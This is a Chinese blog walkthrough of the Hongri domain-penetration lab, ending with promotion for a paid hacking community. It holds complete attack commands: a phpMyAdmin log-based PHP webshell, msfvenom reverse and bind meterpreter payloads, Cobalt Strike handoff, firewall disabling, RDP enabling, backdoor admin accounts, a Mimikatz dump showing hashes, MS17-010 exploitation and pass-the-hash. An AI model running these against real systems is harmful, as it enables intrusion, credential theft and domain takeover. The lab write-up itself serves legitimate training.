域渗透实战-红日靶场一
2023-3-4 22:34:24 Author: 渗透安全团队(查看原文) 阅读量:25 收藏

现在只对常读和星标的公众号才展示大图推送,建议大家能把渗透安全团队设为星标”,否则可能就看不到了啦

1、环境测试以及搭建

实验环境拓扑图如下:

这里是搭建一个最简单的域环境,域控+dmz服务器。

kali(MSF+CS)  :192.168.61.128Windows 2007:192.168.61.201             192.168.52.143Windows 2003:192.168.52.128Windows 2008:192.168.52.138

2、信息收集

1)探测内网存活主机。

netdiscover -i eth0 -r 192.168.61.0/24

2)masscan端口扫描。

masscan 192.168.61.201 -p 1-65535 --rate=1000

重点关注80,3306端口。

3)Nmap端口扫描。

nmap -sC -sV -p 80,3306 192.168.61.201

4)我们访问以下80端口。

5)dirsearch目录爆破。

dirsearch -u http://192.168.61.201/

这里我们扫描出来了phpmyadmin。

1、phpmyadmin弱口令&Getshell

1)我们访问:http://192.168.61.201/phpmyadmin/,来到phpmyadmin页面。

这种页面首先我们的尝试弱口令。

2)接着我们root/root,直接进入phpmyadmin。

3)尝试写shell到服务器,我们首先信息收集,获得绝对路径,查看secure_file_priv状态。

select @@secure_file_priv

结果为空,就不允许导出导入。

我们接着来浅谈一下secure_file_priv状态代表的含义:

secure_file_priv为null                        表示不允许导入导出secure_file_priv指定文件夹时             表示mysql的导入导出只能发生在指定的文件夹secure_file_priv没有设置时                 表示没有任何限制写入文件的时候还需要注意php.ini里面gpc是否开启,开启情况下,特殊字符都会被转义'变成\'

4)既然直接写行不通,尝试日志写shell,查看日志状态以及存储位置:

show global variables like '%general_%'

5)可以看到日志是关闭的,开启日志且更改日志存储位置,尝试写一句话shell。

set global general_log=on;

set global general_log_file="C:/phpStudy/WWW/shell.php"

select'<?php eval($_POST[cmd]);?>'

6)写入一句话,值得注意的是,一句话两边的括号不能和post[]里面的引号一样,会引起mysql判断错误,可以是双引号和单引号结合,也可以里面不加引号。

7)接下来,我们使用蚁剑链接一下我们的shell。

链接地址:http://192.168.61.201/shell.php

这是第一种得到webshell的方法。

2、网站后台弱口令&Getshell

1)之前在登陆到phpmyadmin的时候,我们发现了newyxcmd,有经验的表哥,知道这是ymcms框架。

2)我们访问:http://192.168.61.201/yxcms/

这里暴露了后台的登陆地址,账号和密码。

3)成功登陆后台。

4)我们寻找到前台模板->管理模板文件->新建。

5)这个文件上传,可以通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径。

http://192.168.61.201/yxcms/protected/apps/default/view/default/webshell.php

1、MSF

1)我们首先生成一个MSF的shell。

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.61.128 LPORT=1234 -f exe -o /home/wangkun/桌面/hack.exe

2)我们将木马文件上传到webshell中,在msf中开启监听。

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.61.128set lport 1234run -j

3)我们接着执行webshell的木马文件。

4)成功回弹shell。

5)进入shell,我们首先需要查看权限,看看是否需要提权,这里是administrator权限,我们就使用简单的getsystem,直接提权到SYSTEM权限了,在实战中,我们还需要通过其他方式进行提权,直到提权只最高权限。

2、MSF联动Cobaltstrike

1)首先我们创建CS的监听器。

2)我们在MSF操作如下。

use exploit/windows/local/payload_injectset payload windows/meterpreter/reverse_httpset DisablePayloadHandler true   #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成set lhost xxxx                 #公网vps ipset lport 14444                 #监听端口 set session 1                   #派发session idexploit

3)成功得到CS的shell。

3、搭建隧道(MSF+proxychains)

1)在横向移动之前,我们可以先将web服务器配置为代理服务器当作跳板机,可以用msf直接搭建隧道,自动创建路由。

run post/multi/manage/autoroute       //配置静态路由run autoroute -p                //查看路由

2)挂起会话,建立socks代理。

use auxiliary/server/socks_proxyoptionsset version 4arun -jjobs

3)修改一下/etc/proxychain4.conf,这里注意我们使用的是socks4。

4、主机发现

1)我们使用arp探测内网存活的主机。

use post/windows/gather/arp_scannerset RHOSTS 192.168.52.0/24set SESSION 1

除了我们拿下的shell外,还得到了两个IP,192.168.52.129,192.168.52.138。

5、利用端口扫描,进一步查看有没有其他漏洞。

use auxiliary/scanner/portscan/tcpset RHOSTS 192.168.52.138

use auxiliary/scanner/portscan/tcpset RHOSTS 192.168.52.129

6、内网信息收集

net view                 # 查看局域网内其他主机名net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域net user                 # 查看本机用户列表net user /domain         # 查看域用户net localgroup administrators # 查看本地管理员组(通常会有域用户)net view /domain         # 查看有几个域net user 用户名 /domain   # 获取指定域用户的信息net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)net group 组名 /domain    # 查看域中某工作组net group "domain admins" /domain  # 查看域管理员的名字net group "domain computers" /domain  # 查看域中的其他主机名net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

1)先判断是否存在域,使用ipconfig /all查看DNS服务器,发现主DNS后缀不为空,存在域god.org,如下图所示。

或者执行命令net config Workstation来查看计算机当前的计算机名称,用户名,系统版本,工作站,域,登陆域等全面信息。

2)上面发现了DNS服务器名为god.org,当前登陆域为GOD,接下来可执行net view /domain查看有几个域(域内可能存在多个域环境)。

3)既然只有一个域,那就利用net group "domain controllers" /domain,来查看域控制器主机名,直接确认域控主机的名称为OWA:

4)已经确认域控主机的名称为OWA,继续执行命令net view查看局域网其他主机信息(主机名称,IP地址),可得知域控主机的IP192.168.61.138。这条命令在CS中执行。

5)局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH),最后确认以下该主机是否也是存在域中,执行命令net group "domain computers" /domain查看域中的其他主机发现包含ROOT-TVI862UBEH,故域内还包含另一个域成员192.168.52.141

6)至此内网的信息收集已经收集完毕,已经明确了域控主机192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向移动拿下域控。

7)接下我,我们查看以下目标主机补丁信息。

run post/windows/gather/enum_patches

只打了四个补丁。

8)查看目标安装软件的信息。

run post/windows/gather/enum_applications

9)进入shell查看防火墙状态。

netsh firewall show state

关闭防火墙netsh firewall set opmode disable              #Windows Server 2003 系统及之前版本netsh advfirewall set allprofiles state off    #Windows Server 2003 之后系统版本

再次查看防火墙开启状态。

10)查看3389是否开启(如果返回空代表没有开放)。

netstat -ano | findstr "3389"

未开启!!!

开启远程桌面。

run getgui -e run post/windows/manage/enable_rdp #两个都可以 在shell下使用以下命令也可REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  # 允许 3389 端口放行 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 允许 3389 端口放行 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1                                         #wmic 放行3389端口

proxychains4 rdesktop 192.168.52.143

这里配合mimikatz抓取的密码,远程登陆到主机,这里链接的话,会把靶机挤掉,这里就不链接了。

1、存活探测

1)进入msf的shell里使用cmd命令,遍历存货主机。

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

这里可以看到存活3个IP。

2、Mimikatz密码抓取

1)我们在CS中执行->RunMimikatz。

2)得到了明文密码和hash值。

SID               : S-1-5-21-2952760202-1353902439-2381784089-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : GOD
* LM : edea194d76c77d87840ac10a764c7362
* NTLM : 8a963371a63944419ec1adf687bb1be5
* SHA1 : 343f44056ed02360aead5618dd42e4614b5f70cf
tspkg :
* Username : Administrator
* Domain : GOD
* Password : [email protected]
wdigest :
* Username : Administrator
* Domain : GOD
* Password : [email protected]
kerberos :
* Username : Administrator
* Domain : GOD.ORG
* Password : [email protected]
ssp :
credman :

3、MS17-010

1)之前我们进行use auxiliary/scanner/portscan/tcp,进行端口扫描的时候,发现两台内网主机都开启了445端口,接下我我们对域控192.168.61.138,进行漏洞扫描。

2)我们使用use auxiliary/scanner/smb/smb_ms17_010模块进行扫描,发现存在漏洞。

use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.138
run

3)我们使用use auxiliary/admin/smb/ms17_010_command模块执行以下命令,看看能否回显。

use auxiliary/admin/smb/ms17_010_commandoptionsset command whoamiset rhosts 192.168.52.138run

成功回显命令。

4)我们使用MS17-010攻击模块中的use exploit/windows/smb/ms17_010_eternalblue木块拿shell。

use exploit/windows/smb/ms17_010_eternalblueset rhosts 192.168.52.138run

无法反弹回来shell。

5)我们回到MS17-010_command模块,set命令开启3389端口,关闭防火墙。

set command netstat -ano | findstr "3389"set command REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /fset command netsh firewall show stateset command netsh advfirewall set allprofiles state off  

6)添加用户,远程连接。

net user admin$ [email protected]#45 /add              新建用户
net user 查看用户
net localgroup administrators admin$ /add 用户添加进管理员
net localgroup administrators 查看管理员组成员

成功,我们远程登陆访问以下。

4、远程连接+正向shell

proxychains4 rdesktop 192.168.52.138

1)我们使用Proxifier来远程到域控机器。

2)我们生成一个正向的shell,发送到目标机器。

msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=2222 -o shell.exe

3)正向监听。

set payload windows/meterpreter/bind_tcp

4)拿到shell。

5、CS进行PTH

1)我们已经拿下了Windows7主机,抓取到了它的hash和密码,而我们前面信息收集到另外两台机器开启了445端口,在目标不出网的情况下,可以使用smb beacon使目标主机上线。

2)新建一个监听器,payload选择Beacon SMB,名字随便。

2)我们点击以列表形式展开目标。

3)接着我们点击密码凭证。

拿到凭证信息之后,我们就可以PTH了。

4)我们首先选择域控,Jump->psexec

如下配置:

成功拿下域控。

5)又用同样的方法,拿下域内另一台主机,至此拿下全部的机器。


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247499405&idx=3&sn=5b156ace39e1dfa4bf793a44094927c2&chksm=c1760322f6018a34a98edc14c2bbe6ea00a3023dabaaa04ecb45efc244ad9af42dba2863672c#rd
如有侵权请联系:admin#unsafe.sh